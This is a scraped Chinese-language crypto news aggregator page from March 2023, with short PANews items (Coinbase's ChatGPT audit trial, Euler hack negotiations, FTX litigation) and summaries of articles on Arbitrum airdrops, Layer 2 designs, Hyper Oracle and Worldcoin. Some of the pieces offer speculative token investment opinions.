生态的头部项目。 在游戏本身具备一定素质的情况下，NFT 的火热程度则取决于玩家们是否希望体验游戏的意愿，而二级市场的参与者也自然会对这张“高级游戏入场券”的公允价值进行博弈，我们认为游戏之后接下来的运营和预期管理，将成为该 NFT 成功与否的关键。 无论是基于 Sui 的合作预期带来的价值外溢，还是游戏目前本身所展现出的品质，我们都认为 Abyss World 具有成为 Web3 游戏代表作的潜力。 同时，除了游戏品质外，设计中所透露的 AI 自动对战的玩法，也给出了一定的想象空间。今天看到的是基于游戏自身 IP 的英雄对战，在更多标准统一和资产互通的场景下，未来或可期待其他生态中的NFT角色加入其中进行对战，一个“元宇宙大乱斗”的游戏模式若能成立，在话题性和娱乐性上都蕴含着更多的商业模式。 着眼当下，从目前的 Roadmap 来看，游戏将于今年第三季度正式开启公测。而中途的这段时间，也考验着项目方是否能合理的管理预期，放出更多游戏相关的内容并拓宽玩家参与的方式，以维持游戏的热度。 而在造势和营销之外，游戏品质本身仍然是硬实力，也是 Web3 游戏能够长期发展的基础。我们更认可以技术驱动游戏的做法，通过游戏硬实力吸引更多用户与合作方进入，再拓展衍生的如周边、NFT、同人创作和比赛等玩法，从“重”到“轻”的去触达 Web3 世界中每一个可能的机会点。 Abyss World 自己的征程或许才刚刚开始，但一个 Web3 游戏的新范式却值得更多人去尝试。  ( 6 min )
    Coinbase：ChatGPT不符合集成至该平台安全审查流程中的准确性要求
    PANews 3月21日消息，Coinbase发文表示，ChatGPT显示出快速评估智能合约风险的能力，但不符合集成到Coinbase安全审查流程中的准确性要求。Coinbase比较了 ChatGPT和人工安全审查之间的20个智能合约风险评分，ChatGPT 12次产生与人工审核相同的结果。但在8次失误中，有5次是ChatGPT错误地将高风险资产标记为低风险。 Coinbase总结道，虽然ChatGPT没有达到准确度标准，但它确实显示出足够的潜力。Coinbase将继续进一步试验新兴工具。在自动化或智能流程能够显示与其现有流程相同程度的准确性之前，这些工具将仅用作支持工具，而不是主要工具。  ( 4 min )
    Euler正与攻击者进行私下谈判，攻击者称“无意保留不属于我们的东西”
    PANews 3月21日消息，据Cointelegraph报道，借贷协议Euler Finance现在已经开始与攻击者进行私下谈判。3月20日，在攻击者向Euler的一个朝鲜地址发送资金几天后，攻击者在给Euler的链上消息中声称，他们现在希望与Euler“达成协议”。 攻击者写道：“我们想让所有受影响的人都轻松些，不打算保留不属于我们的东西。建立安全通信，让我们达成协议吧。”几个小时后，Euler在链上回复称：“收到消息。让我们通过Euler Deployer地址和你的一个EOA，通过电子邮件contact@euler.foundation或您选择的任何其他渠道的签名消息，在blockscan上私下讨论。请回复你选择哪一个。” 此前3月13日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。  ( 4 min )
    FTX新管理层正起诉其巴哈马实体清算人
    PANews 3月21日消息，据The Block报道，FTX正在起诉其巴哈马实体的清算人，FTX的新管理层希望美国特拉华州破产法院作出宣告性判决，称FTX Digital Markets 对任何FTX债务人的财产“没有所有权”，并声称FTX Digital Markets为欺诈客户的“幌子”。 对抗诉讼中的原告包括FTX.US、Alameda Research和West Realm Shires（由前FTX 负责人Sam Bankman-Fried成立的控股公司）。他们将FTX Digital Markets及其联合临时清算人Brian Simms、Kevin Cambridge和Peter Greaves列为被告。根据诉讼，FTX Digital Markets声称自己是“FTX.com财产的建设性所有者”，并表示所有权纠纷应在巴哈马群岛解决。FTX债务人不同意该观点。  ( 4 min )
    美国最高法院周二将审理首起加密案件，被告Coinbase拟推动案件走仲裁程序
    PANews 3月21日消息，据CoinDesk报道，美国最高法院将于周二听取有史以来第一起与加密货币相关的案件的辩论，届时Coinbase的律师将试图说服九名法官暂停针对该交易所的两起集体诉讼（Bielski诉Coinbase和Suski诉Coinbase），这两起案件分别指控被告安全措施不当导致个人账户被黑、以及广告涉及误导消费者。 虽然高等法院将于周二审理的案件涉及加密，但它本身并不是加密案件。相反，这个案件是一个相当深奥的程序争论，争论的焦点是诉讼是否可以在联邦法院进行，而Coinbase试图将争议提交仲裁。仲裁是一种庭外解决纠纷的方法，在这种方法中，胜算往往不公平地不利于消费者。虽然最终的决定不会为加密货币面临的最重要问题树立任何先例，但它可能对加密货币领域的新兴诉讼格局产生重大影响，它还将对越来越多地成为集体诉讼目标的其他加密公司产生广泛的影响。  ( 4 min )
    外媒：Coinbase曾在硅谷银行破产后向Circle提供30亿美元即时信贷额度
    PANews 3月21日消息，据《财富》杂志援引知情人士报道，Coinbase曾在硅谷银行破产后向Circle提供了约30亿美元的即时信贷额度，以保证USDC储备的全部流动性，并确保稳定币可以在硅谷银行破产后的周一早上兑换成美元。Coinbase原计划披露这一信贷额度，但随后危机很快解除。Circle拒绝对此事置评，但也并未否认。  ( 4 min )
    Starknet基金会任命五个委员会，包括负责规划STRK供应的拨备委员会
    PANews 3月21日消息，据官方博客，Starknet基金会宣布任命五个委员会，其中拨备委员会负责规划、监督和执行Starknet生态系统代币STRK的供应，STRK将作为参与Starknet共识机制的质押代币、网络的治理代币和支付网络交易费用的Gas代币；早期采用者拨款委员会致力于通过向在Starknet上构建链上应用的创新团队提供资助来促进Starknet生态系统的发展。 另外，开发者合作委员会将通过培养和监督新的战略开发者合作伙伴关系来引入Starknet生态系统；治理委员会的任务是在Starknet生态系统的持续去中心化中发挥关键作用，该委员会负责研究、规划和执行Starknet治理的初始阶段，已经启动了Starknet治理的第一阶段；另外，生态系统准入委员会负责授权新的开发人员和社区成员并将其整合到Starknet生态系统中。  ( 4 min )
    DefiLlama联创：Llama.Fi已重定向到DefiLlama.com
    PANews 3月21日消息，DefiLlama创始人之一0xngmi发推表示：“所有工作将在DefiLlama.com上进行，Llama.Fi已重定向到DefiLlama.com。” 此前今日早些时候消息，DefiLlama官方推特表示，目前无计划发行LLAMA代币，任何空投都将与社区讨论。 相关阅读：DefiLlama“分家”始末：理想敌不过“面包”，权威数据网站发币真的靠谱吗？  ( 4 min )
    以史为鉴，我的ARB空投该持有还是卖出？
    作者：Flip Research 编译：Biteye 核心贡献者 Crush $ARB 空投可能是今年最热门的空投之一。但是它与以前的大型空投相比，在价格上又会有什么变化呢？ 在本文中，我将 $ARB 与 $UNI、$OP 和 $1INCH 进行了比较，得出了一些有趣的结果！ 让我们从总代币分配的比较开始，这里我将一些类别做了合并，以便进行更公正的同类比较。 我们可以从中得出几个观察结果： $ARB 空投百分比略高。（请注意，$OP 到目前为止只分发了其空投配额约 1/3 的代币） 团队+投资者的分配比 $UNI 和 $OP 高，但低于 $1INCH 国库的分配与同行持平 完整表格： 02、初始代币分配 除了总代币分配，初始供应分配的比较也有助于衡量初始抛压。$ARB 的初始供应在较高水平，类似于 $UNI。 03、代币解锁 代币的初始分配和总分配只是其中一部分数据，而代币的解锁计划，则有助于了解代币的相对分发速率以及它们来自哪里。 请注意，$UNI、$OP 和 $1INCH 的解锁均来自 @coingecko 的数据。 与其同行相比，$ARB 的代币解锁计划看起来相对平稳，特别是在第一年。 请注意，这里我假设 $ARB 的国库是线性解锁的（这个假设与CG和TokenTerminal类似，这些机构通常也会使用线性解锁方式来计算代币的发行量），如果没有这种线性解锁方式，那么在第一年将不会有任何的 $ARB 代币发行。 以下是短期分发速率的比较（不包括由 DAO 控制的国库），它清楚地显示了不同项目之间分发速率的巨大差异。这对用户应该如何参与空投产生重大影响，我稍后会谈到。 05、初始价格波动 最后一部分是初始空投价格波动，让我们来看一下 UNI、OP 以及 1INCH 作为对照组，在空投发放之后，他们的价格走势是怎么样的。（图表由 @coingecko 提供） $UNI 因为高初始供应量，并且没有团队/投资者代币悬崖期，UNI 的初始分配速率是这几个项目中最高的。这导致了一定的初始抛压，但是之后价格却上涨超过 10 倍，当然，完美的市场时机也起到了帮助作用。 $OP 虽然 OP 有较低的初始供应量，但其相对较高的发行量和熊市的上线情况起到了抵消作用，因此一开始的价格并不是很理想。 尽管如此，它从初始下跌中相对迅速地恢复过来，之后在加密货币寒冬期间下跌，然后又创下了历史新高。 $1INCH 1INCH 的初始供应量百分比最低，发行量也相对较低。因此，在经历了初始下跌后，1INCH 迅速恢复，并开始了大幅上涨。同样，市场时机在这里也很重要。 06、基本面 就 Arbitrum 的基本面而言，Arbitrum One 已经吸引了相当可观的锁定价值和交易量，成为了一个金融应用链的专业领域（类似于 $GMX、$GNS 和 $RDNT）。 它是为数不多的盈利链之一（数据来源：@tokenterminal），并且仍处于早期阶段。 07、结论 通过以上分析可知，在这些空投代币价格下跌时买入都是盈利的。然而，抓住最低点的时机并不容易。 对于 $ARB，有三个额外的考虑因素： 综合考虑以上因素，特别是 $ARB 的良好基本面，我打算继续持有我的 $ARB 空投。另外，如果空投发放后，代币价格下跌，那么我将会分批买入。因为按照上面的分析，我预计 $ARB 将迅速恢复价格，并取得多倍收益。 在初始抛售后，至少在第一年内，真的没有任何重要的抛压来源，因此我对这个策略感到放心。 当然，这一切都取决于 $ARB 的初始定价，但我预计市场力量会在这里发挥作用。 不要忽视初始推出时的强劲价格走势对于整个生态系统中的代币所带来的影响，这种影响可能会逐渐扩散开来，我预计这种效应将有助于推动整个生态系统的发展。  ( 5 min )
    Immutable将与Polygon Labs合作创建Immutable zkEVM，并公布两项IMX效用升级
    PANews 3月21日消息，据美通社报道，NFT二层扩展解决方案Immutable X开发公司Immutable宣布与Polygon Labs建立战略合作伙伴关系，以加速Web3游戏的开发。Immutable将使用Polygon的零知识技术构建新的EVM兼容的zk-rollup扩容解决方案Immutable zkEVM，为游戏开发者提供额外选择，但其表示该解决方案不会取代其基于Starkware的解决方案Immutable X。 此外，ImmutableX在官方推特上公布两项IMX效用升级：平台费用的20%必须以IMX支付；IMX将被用作Immutable zkEVM的核心Gas货币，成为原生网络代币。  ( 4 min )
    加密交易公司Auros已终止临时清算程序，并获得1700万美元投资
    PANews 3月21日消息，据CoinDesk报道，加密交易公司Auros Global在进行了重大债务重组后，上周从法院监督的临时清算中解脱出来，并获得了由传统高频交易公司Vivienne Court Trading和上市比特币矿业公司 Bit Digital (BTBT) 牵头的1700万美元新投资。 据该公司称，在FTX崩溃之前，Auros是前10-15家数字资产做市商之一，处理了约1-2%的加密交易总量。该公司在11月遇到了流动性问题，当时约2000万美元的数字资产被困在现已不存在的FTX上，并且未能支付约1800万美元的去中心化金融 ( DeFi ) 贷款。在英属维尔京群岛申请临时清算后，该公司在法庭监督下花了大约5个月的时间就如何偿还未偿债务和偿还债权人进行谈判。Auros首席投资官Benjamin Roth表示，该公司正在摆脱FTX带来的冲击。 据该公司发言人称，Auros上周三收到英属维尔京群岛法官的密封法庭命令，终止临时清算程序。  ( 4 min )
    Aavegotchi开发商Pixelcraft Studios完成3000万美元代币融资，历时两年多
    PANews 3月21日消息，据美通社报道，元宇宙游戏Aavegotchi的开发商Pixelcraft Studios周一宣布成功完成为期多年的长期代币销售，共筹集3000万美元。 资金将在社区参与者之间分配，Aavegotchi的主要开发者Pixelcraft Studios获得 25%，即750万美元，DAO金库获得剩余的2250万美元。所有资金将专门用于开发、营销、提供流动性或协议奖励。 据悉，Aavegotchi代币GHST通过DAIC0（去中心化自治IC0）从2020年9月14日开始至今已历时两年多，没有风投或天使投资人直接参与此次融资。由于DAI稳定币的稳定性存在不确定性，AavegotchiDAO投票决定终止销售。  ( 4 min )
    Origin Protocol考虑在加入NFT版税竞争后增加OGN质押奖励
    PANews 3月21日消息，NFT平台Origin Protocol近日通过了在2023年6月1日之前将本地交易市场Origin Story的交易费用降至0%的提案（此前为1.25%），并正对“增加OGN质押的质押奖励”提案进行投票。这两项提案可能会重新平衡其代币经济学，因为它试图在零费用版税战争中竞争，同时又不排斥OGN代币的质押者，这些质押者依赖于平台现在大幅削减的费用收入。 根据CoinDesk的说法，此举使Origin Story与OpenSea和Blur直接竞争，这两个NFT市场目前正在发动零费用战争以吸引数字收藏品交易商。Origin意图降低自己的费用以“在这个关键时刻获得市场份额”。补贴提案写道，由于费用冻结，“我们将在短期内减少本应奖励给OGN利益相关者的平台收入”。 据悉，“增加OGN质押的质押奖励”的提案旨在为3月8日开始的OGN质押第3季提供补贴的ETH和/或OGN，以提高OGN质押计划的吸引力。目标是增加有效的APY和抵押的OGN总量（目前为5600万枚）。目前提案支持率达100%，投票将于3月22日截止。  ( 4 min )
    哪些协议是Arbitrum发币的最大赢家？
    撰文：Defi Mochi@defi_mochi 编译：angelilu，Foresight News 本周 Arbitrum 的代币 ARB 空投即将正式解锁，如果不出意外的话，这将为 Arbitrum 生态注入超过 20 亿美元的附加流动性。 我翻遍了 Dune、Flipside 和 DefiLlama 等数据网站，找到了一些极具潜力的 Arbitrum 项目，我认为这些项目有机会借这次空投的「东风」实现十倍乃至百倍的飞跃式增长。 截止发文时，Arbitrum 生态的总锁仓价值（TVL）为 17.5 亿美元，ARB 空投的代币价值预计在 5 亿美元至 20 亿美元之间。毫无疑问，Arbitrum 上的各类应用都将从这笔流动性注入中受益，为了找到被低估的小市值代币，针对不同类型的项目，我们可以关注两个关键指标，对于 DEX 来说，TVL 至关重要，而衍生品类别的应用，重点则应该关注手续费收入（年化）。 附注：请帮助链上数据分析网站 DefiLlama 创始人 0xngmi 使用 Llama.Fi 而不是 DefilLama.com。如果您能向为我们免费工作的羊驼团队表达支持，Mochi 将不胜感激。（Foresight News 注：3 月 19 日 DefiLlama 创始人 0xngmi 发推称，因控制 Defillama 推特账户和域名的人决定发行代币，DefiLlama 团队不想与之相关，决定推出分叉版本的新网站 Llama.Fi。） 从这张表中可以看出，从流通市值与 TVL 的比值来看，Arbitrum 上最好的蓝筹 DEX 应该是 Camelot，而 SolidLizard 风险较高。 我认为 Camelot 的代币经济模型设计的很好，因为从规则上看，其代币的发行量与销毁量预计能做到 1:1 。 来源：@martin100x   Arbitrum 生态蓝筹衍生品协议 GMX 仍然是 Arbitrum 生态最好的蓝筹衍生品协议，其流通市值与手续费年化收入的比值高达 4。考虑到 GMX 即将支持合成资产交易，这显然会对币价提供新的利好支持。 下表中的费率为过去 30 天的年化手续费收入： 我认为 VELA 在 Dune 仪表板上数据的真实性存疑，因此，我决定根据其 APR 计算 VELA 的手续费收入。在 16.25% 的 APR 下，质押 VELA 每年可获得 2,956,753 的费用，假设 15% 归 VELA 所有，按照当前的币价估算，手续费收入约为 1900 万美元。 其他协议 Radiant 的代币 RDNT 和 Y2K Finance 都值得期待，这两个项目的数据见下表，此外 Y2K 在黑天鹅事件（如 Depegs）期间的强势表现证明了其能够成为一个有效投资组合中用于风险对冲的标的。 我还特别看好 PlutusDAO，因为它被定位为 Arbitrum 的治理聚合器，我认为 PlutusDAO 要将 plsRDNT 纳入其平台也将是一个利好事件，PlutusDAO 目前已经控制了 JONES-WETH 89% 的流动性 ，以及 52% 的 DPX 代币和 45% 的 SPA 代币。 来源：https://dune.com/defimochi/plutus-metrics 前文我提到的几个项目近期值得关注的利好事件： PlutusDAO，V2 代币经济模型、plsRDNT、plsARB（流通市值 /TVL 为 0.49） Radiant Capital，3 月 19 日上线了 V2 版本 Vesta Finance，即将到来的 Vesta lev+（流通市值 /TVL 为 0.35） GMX，将上线合成资产  ( 5 min )

  • Open

    Spike OS深度访谈 ： 赋予Web3应用超能力，幕后英雄的蓝图与决心
    Spike OS深度访谈 ： 赋予Web3应用超能力，幕后英雄的蓝图与决心 – 深潮TechFlow 加密市场起起伏伏，破圈仍是值得讨论的话题。今天的 Web3 应用们，更擅长在资本市场昙花一现，却始终没能在现实世界吸引更多圈外用户的使用。有多少的力不能及，就有多少的药不对症。 Read the full entry  ( 5 min )
    Spike OS深度访谈 ： 赋予Web3应用超能力，幕后英雄的蓝图与决心
    Spike OS深度访谈 ： 赋予Web3应用超能力，幕后英雄的蓝图与决心 – 深潮TechFlow 加密市场起起伏伏，破圈仍是值得讨论的话题。今天的 Web3 应用们，更擅长在资本市场昙花一现，却始终没能在现实世界吸引更多圈外用户的使用。有多少的力不能及，就有多少的药不对症。 Read the full entry  ( 5 min )
    浅谈Immutable与Polygon的合作：为全世界的玩家提供更高效、无缝、有趣的游戏体验
    浅谈Immutable与Polygon的合作：为全世界的玩家提供更高效、无缝、有趣的游戏体验 – 深潮TechFlow 撰写：Rainy Reece Read the full entry  ( 3 min )
    浅谈Immutable与Polygon的合作：为全世界的玩家提供更高效、无缝、有趣的游戏体验
    浅谈Immutable与Polygon的合作：为全世界的玩家提供更高效、无缝、有趣的游戏体验 – 深潮TechFlow 撰写：Rainy Reece Read the full entry  ( 3 min )
    Layer Zero生态协议纵览：潜在的空投机会和全链叙事的爆发
    Layer Zero生态协议纵览：潜在的空投机会和全链叙事的爆发 – 深潮TechFlow 撰写：Emperor Osmo Read the full entry  ( 3 min )
    Layer Zero生态协议纵览：潜在的空投机会和全链叙事的爆发
    Layer Zero生态协议纵览：潜在的空投机会和全链叙事的爆发 – 深潮TechFlow 撰写：Emperor Osmo Read the full entry  ( 3 min )
    2023 年 Crypto VC 名录：全球 300 家加密基金中谁最活跃？
    2023 年 Crypto VC 名录：全球 300 家加密基金中谁最活跃？ – 深潮TechFlow 撰写：Ryan Allis，iContact、Hive和Coinstack创始人 Read the full entry  ( 5 min )
    2023 年 Crypto VC 名录：全球 300 家加密基金中谁最活跃？
    2023 年 Crypto VC 名录：全球 300 家加密基金中谁最活跃？ – 深潮TechFlow 撰写：Ryan Allis，iContact、Hive和Coinstack创始人 Read the full entry  ( 5 min )

  • Open

    【英文】WOO Network：深入探讨不同的 Layer2 扩展解决方案
    Chainfeeds 导读： WOO Network 在 CMC 专栏中，撰文回顾了状态通道、Plasma 和 rollup 的技术设计，以及使用这些技术的六个热门项目的结构。总结了如何评估这些项目，重点放在新项目部署期间经常出现的集中故障点，以及任何未来升级中的漏洞。盘点了这些计划的现状，预计 ETH 2.0 将支持 L2，尤其是 rollup，以充分发挥其潜力。 文章来源： https://coinmarketcap.com/alexandria/article/woo-network-a-deep-dive-into-different-layer2-scaling-solutions 文章作者： WOO Network 观点： WOO Network：目前，以太坊上主流的扩容方案分为三类：1）状态通道，优势在于基本可以无限扩展及提供即时主观结算，劣势在于不能支持开放参与，以及参与者必须不断检查是否有人提交了中间交易；2）Plasma，优势在于支持开放参与和较低的资本要求，缺点在于更大的 L1 痕迹；3）Rollup，优点是更好的数据可用性及完全支持开放参与，缺点是牺牲了一些可扩展性。【原文为英文】 内容来源 WOO Network：评估 L2 方法：1）可扩展性三难困境，即区块链系统必须在可扩展性、安全性和去中心化之间进行权衡。L2 并没有解决这个问题，但是为开发人员提供了三难选择的更多选择。2）评估框架，包含安全方面的活跃度和托管，性能 / 可用性方面的最大吞吐量、交易成本、资金效率、提款时间、主观最终性，以及 EVM 代码可移植性、原生隐私选项。【原文为英文】 内容来源 WOO Network：L2 现状：闪电网络和 Polygon 的交易费用最低，而 Polygon 以最高的 TPS 处理了最多的交易，但是 Aribitrum 的 TVL 最高，StarkEx 的估值最高，可见投资者对 rollup 的未来抱有很高的期望。将平均 TPS 与可实现的最高 TPS 进行比较，可以看到 L2 具有更大的潜力，可以从以太坊主网卸载更多的 DApp。具体来说，rollup 没有得到充分利用。【原文为英文】 内容来源  ( 54 min )
    数据解析：以太坊能否平稳迎接 4 月 12 日的「上海升级」？
    Chainfeeds 导读： 4 月 12 号将完成上海升级，非托管的 ETH 质押服务商 Ebunker 通过数据解析，认为以太坊通缩模型提供价格支撑，测试网预演上海升级成功，从以太坊链上数据、以太坊基金会制定的提款机制以及主要 ETH 质押服务商的应对策略来看，ETH 质押被提取将是一个持续数周乃至数月的过程，预计 4 月份的上海升级将会相对平稳地完成。 文章来源： https://www.theblockbeats.info/news/35793 文章作者： Ebunker 观点： Ebunker：按照当前速度，到 2025 年，ETH 供应量预计将降到 1.181 亿。总体而言，只要以太坊网络在 DeFi 和 NFT 生态系统保持主导地位，以太坊通缩的经济模型将会持续为 ETH 价格提供强大的支撑。Goerli 测试网模拟了「上海升级」，以便开发人员可以在部署升级之前修补潜在的漏洞，测试网成功执行了升级。 内容来源 Ebunker：为了使「上海升级」平稳进行，以太坊基金会引入了可以防止 ETH 供应在短期内大量泛滥到市场的机制：每天允许的撤回数量约 5.76 万枚 ETH，仅占 ETH 质押总量约 0.3~0.4％，因此被提取出来的 ETH 在短时间造成的抛压相对可以预判。验证者选择退出质押之后，将进入可能持续数周或数月的撤回期。但是，以太坊过两年的共识层利息，并不需要遵循 5.76 万枚的上限，这带来了另一层隐含抛压。 内容来源 Ebunker：链上数据偏向看涨：以太坊网络的基本面良好，用户仍在继续扩张；NVT 数值下降，意味着当前市值并未完全反映出网络价值的增长，投资以太坊的性价比提升；ETH 市值增长超过了其链上交易量的增长，因此短期价格似乎有溢价的迹象；以太坊 MVRV 比率的上升则表明大多数持有以太坊的地址开始处于盈利状态。 内容来源
    Hyper Oracle 白皮书：一种可编程的 zkOracle 网络
    Chainfeeds 导读： Hyper Oracle,，一个可编程的 zkOracle 网络，旨在解决现有中间层解决方案的限制，并推动新一轮的去中心化应用的发展。其官方白皮书详细介绍了项目的定义、技术架构，并将其与其他预言机网络进行对比分析。 文章来源： https://medium.com/@hyperoracle-zh/hyper-oracle-%E4%B8%80%E7%A7%8D%E5%8F%AF%E7%BC%96%E7%A8%8B%E7%9A%84-zkoracle-%E7%BD%91%E7%BB%9C-7cab3beb152 文章作者： Hyper Oracle 观点： Hyper Oracle：zkOracle 通过以下解决方案来解决传统预言机网络的问题，包括：1）提供一个不可停止的自治网络；2）数学作为共识；3）继承基础层的安全性；4）1-of-N 信任模型；5）最优的基于密码学的去中心化；6）高效的计算能力分配 （理想情况下没有多余的浪费）。zkOracle = zkPoS + 运行在 zkWASM 中的 zkGraph。 内容来源 Hyper Oracle：zkPoS 使用单个 zk 证明验证以太坊共识，该证明可以在任何地方被验证与使用，使得 zkOracle 能够获得一个有效的区块头作为数据源进行进一步处理。zkWASM 是 zkGraph 的运行时，为 Hyper Oracle 网络中的任何 zkGraph 提供 zk 的能力，它类似于 ZK Rollup 中使用的 zkEVM。zkGraph (在 zkWASM 中运行) 定义了 zkOracle 节点行为和 Meta Apps 的可定制和可编程的链下计算，可被视为 Hyper Oracle 网络的智能合约。 内容来源 Hyper Oracle：Meta Apps = zkIndexing + zkAutomation，均基于 zkGraph。zkOracle 网络是 Hyper Oracle 的技术架构，Meta Apps（或 zkOracle 服务）是 Hyper Oracle 的 「产品」。Meta Apps 革新了基础设施，并通过 zkAutomation 实现智能合约无需信任的自动化，及通过 zkIndexing 实现区块链数据无需信任的索引和获取。 内容来源 Hyper Oracle：与其他预言机网络对比，zkOracle 优势在于：1）去中心化（无需信任，安全性和抗审查）；2）性能和最终性；3）成本，比传统预言机网络低；更直接的机制和更简单的架构。zkAutomation 与其他自动化协议对比，优势在于：1）无需信任的链下源；2）基于 ZKP 的可验证性和安全性。zkIndexing 和其他索引协议对比，优势在于：1）通过无需信任特性提高性能；2）使用 ZKP 的可验证性和安全性。 内容来源  ( 11 min )
    Web3CN 项目调研：以太坊再质押项目 EigenLayer 白皮书四大看点
    Chainfeeds 导读： 北京时间 2 月 21 日下午，被众多一线投研机构视为 2023 年以太坊最重要的创新，有可能开启以太坊新叙事方向的项目 Eigenlayer 终于披露了其第一版白皮书。Web3CN 作者 Bowen 具体介绍了该项目，指出白皮书中的四大看点，以及分析 Eigenlayer 为何具有潜力。 文章来源： https://mp.weixin.qq.com/s/i_I-qDfPfgrwJtkUjS4GQw 文章作者： Fuel Network  ( 32 min )
    【英文长推】Fuel 上线 Beta-3 测试网，引入 P2P 网络和运行同步全节点的能力
    Chainfeeds 导读： 此前 Fuel 的第二个测试网「Beta-2」见证了超过 900,000 笔结算交易，并增加了桥接支持，因此开发人员可以在 Fuel 上试验跨链 dapp。现在 Fuel 宣布上线「Beta-3」测试网，其官方发文介绍了该测试网的主要特点，并解析各项功能扩展。 文章来源： https://fuel-labs.ghost.io/announcing-beta-3-testnet/ 文章作者： Fuel Network 观点： Fuel Network：主要特征：1）区块同步，同步全节点可以通过 P2P 网络与 Fuel 网络同步。2）单一共享网络，beta-3 是一个共享的、面向开发人员和用户的公共测试网。3）水龙头，任何人都可以通过水龙头获得一些测试 ETH 来部署或与合约交互。4）GraphQL 端点，Fuel Core 节点使用 GraphQL 而不是 JSON RPC。5）区块浏览器。【原文为英文】 内容来源 Fuel Network：功能新扩展：1）编译器，现在能够更稳健、更高效地处理大型设计，从而使字节码大小减少多达 30%。还引入了新功能和增强功能，例如支持可变静态数组等。2）客户端，对运行本地节点的区块同步支持；Gas 计量谓词（predicate），谓词费用的计算类似于脚本，解锁了标准控制流的能力；修改后的 gas 时间表，使检测变化和根据需要调整定价变得更加容易；许多新的数据库优化以获得更好的 API 性能。【原文为英文】 内容来源 Fuel Network：3）语言服务器，优化以同时处理多个项目；改进了警告和错误判断；添加了代码操作以自动生成定义 impl 的区块 abi；初步支持 neovim，为用户的开发环境提供更大的灵活性。4）SDK，包含 Rust SDK 和 Typescript SDK 的更新。5）索引器，无需重新部署合约即可重新部署新的索引器，并且引入 Forc 索引插件。【原文为英文】 内容来源  ( 6 min )
    【英文长推】解读 Mirror 最新推出的 「Subscribe to Mint」功能构建原理：使用「基于签名的铸造」
    Chainfeeds 导读： Mirror 宣布推出 Subscribe to Mint，一个由开发框架项目 thirdweb 提供支持的全新功能，通过去中心化发布重新定义了内容创作。Thirdweb 官推对此功能的构建原理和优势进行了解析，并在 Mirror 上启动其 Genesis NFT 的铸造。 文章来源： https://twitter.com/thirdweb/status/1636725088832868352 文章作者： thirdweb 观点： thirdweb：Subscribe to Mint，可帮助出版商通过 NFT 发展和标记他们的社区。其工作方式类似于公开版本的投放，但为了铸造一个项目的 NFT，用户需要通过电子邮件订阅其 Mirror 出版物。这为创作者引导了一个与其订阅者沟通的渠道方式。【原文为英文】 内容来源 thirdweb：功能构建原理：只有订阅了出版文章的用户才能领取 NFT，这意味着 Mirror 需要一种方法在认领前验证每个钱包的订阅状态，所以 Mirror 部署了一个「SigatureDrop」合约，使用「基于签名的铸造」，即生成允许其他用户在智能合约上铸币的签名。允许了平台实时地逐个用户验证钱包是否可以铸造 NFT。【原文为英文】 内容来源  ( 2 min )
    【英文】Blur 闪电战：如何扭转局面成为最大的 NFT 市场
    Chainfeeds 导读： 与其他空投一样，他们的第一次空投只是奖励了一般的 NFT 交易活动。随后的两次空投专门旨在激励买卖双方，同时也奖励对 Blur 更具忠诚度的用户。实际上，这是一种经过深思熟虑且精确的吸血鬼攻击，旨在吸引其他市场的用户，同时精心打造 Blur 自己的市场。【原文为英文】 文章来源： https://blog.spindl.xyz/p/the-blur-blitzkrieg 文章作者： Antonio García Martínez 观点： Antonio García Martínez：与其他空投一样，他们的第一次空投只是奖励了一般的 NFT 交易活动。随后的两次空投专门旨在激励买卖双方，同时也奖励对 Blur 更具忠诚度的用户。实际上，这是一种经过深思熟虑且精确的吸血鬼攻击，旨在吸引其他市场的用户，同时精心打造 Blur 自己的市场。【原文为英文】 内容来源 Antonio García Martínez：该机制独特之处在于它不奖励易被操纵的行为，如交易，而是实际的交易流动性。无论你是处理 IBM 股票、广告展示还是 NFT 的交易所，都希望市场深度围绕结算价格，以便大买家不能过多地推高或打压市场。这正是 Blur 真正激励忠诚度和促进市场流动性方面所取得的成效。【原文为英文】 内容来源 Antonio García Martínez：Blur 必须找出正确的计算方法来激励长期保留和货币化，而不仅仅沉浸在一个代币暴涨的兴奋中。在 Web 3 中，「收购成本」不像在 Web 2 中那样是一次性成本，而是 Blur 正在支付持续租金以留住其用户。任何 Web 3 ROAS（广告支出回报率）都需要反映新的计算方法。【原文为英文】 内容来源  ( 20 min )
    【长推】一文解读 OpenAI 创始人创立的 WorldCoin：计划向 10 亿人空投
    Chainfeeds 导读： 随着 OpenAI 的 ChatGPT 发布后掀起一波 AI 热潮，但同时 OpenAI 创始人 Sam 正在谋划另一个同样划时代项目：WorldCoin。加密货币研究员 Jason 对此项目进行了详细的解读。 文章来源： https://twitter.com/jason_chen998/status/1637845333056294913 文章作者： Jason Chen 观点： Jason Chen：Worldcoin 由 Sam 成立于 2020 年，根据麦肯锡全球研究院的报告，目前有超过 44 亿人没有合法身份或者无法通过数字方式来验证身份，Worldcoin 的愿景是建设一个全球最大的、公平的数字身份和数字货币体系，它通过扫描地球上每个人眼球的虹膜实现身份认证，目前已经扫描了数百万人的眼球。 内容来源 Jason Chen：Worldcoin 主要有三部分任务，创建一个全球身份 ID、一种全球货币和一个承载身份 ID 与货币的钱包，可以使用自己的 Token 以及其他数字资产和传统货币进行支付、购买和转账，这三部分任务对应着三个要素。WorldID：以保护隐私和人格证明为主的数字身份，后文会重点讲解隐私和人格证明。WorldCoin：第一个在全球范围内免费分发给人们的 Token，计划发给 10 亿人。WorldAPP：在全球范围内进行支付、购买和转账的钱包。 内容来源 Jason Chen：值得注意的是 Worldcoin 目前与以太坊生态关联非常紧密，从文档中可以看到它采用了以太坊的 optimistic rollup，继承了以太坊的账户匿名和交易公开特性，并且 SDK 内置了跨链能力可以与以太坊主网、其他 Layer2 如 Optimism 和 Arbitrum 甚至非 EVM 兼容链 Solana 和 Polkadot。 内容来源  ( 2 min )
    【英文长推】盘点即将推出代币的 5 个项目：zkSync、Celestia、LayerZero、Scroll、Sui
